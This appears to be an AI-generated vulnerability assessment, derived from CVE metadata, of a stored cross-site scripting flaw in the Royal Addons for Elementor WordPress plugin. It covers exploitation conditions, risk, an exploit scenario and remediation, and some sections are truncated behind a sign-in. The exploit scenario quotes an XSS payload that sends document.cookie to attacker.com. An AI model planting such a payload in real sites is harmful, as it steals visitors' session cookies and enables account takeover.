Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concrete, specific conditions: (1) the Royal Addons for Elementor plugin must be installed and activated on the WordPress site, (2) the attacker must possess or compromise a WordPress user account with at least Contributor-level role (Contributor, Editor, or Administrator), which grants permission to edit pages and access the Elementor page builder widget editor, and (3) a page or post must contain the Instagram Feed widget with the 'instagram_follow_text' setting rendered on the front-end (not in draft or trash). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The risk is moderate to moderately-high within WordPress environments running the plugin, but context-dependent. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a compromised Contributor account (or granted legitimate Contributor access via social engineering) logs into WordPress admin, navigates to a page using the Instagram Feed widget, and edits the widget settings to inject malicious JavaScript into the 'instagram_follow_text' field (e.g., '<img src=x onerror="fetch(attacker.com?c='+document.cookie+')">Follow'). The payload is saved to the database without sanitization. … |
| Remediation | Update Royal Addons for Elementor to the patched version released after 1.7.1056 (consult the WordPress plugin repository for the latest stable version, or monitor Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/16d083bc-d726-4291-bc6d-a7bf83fa78c3 for the specific fix version). … Detailed patch versions, workarounds, and compensating controls in full report. |
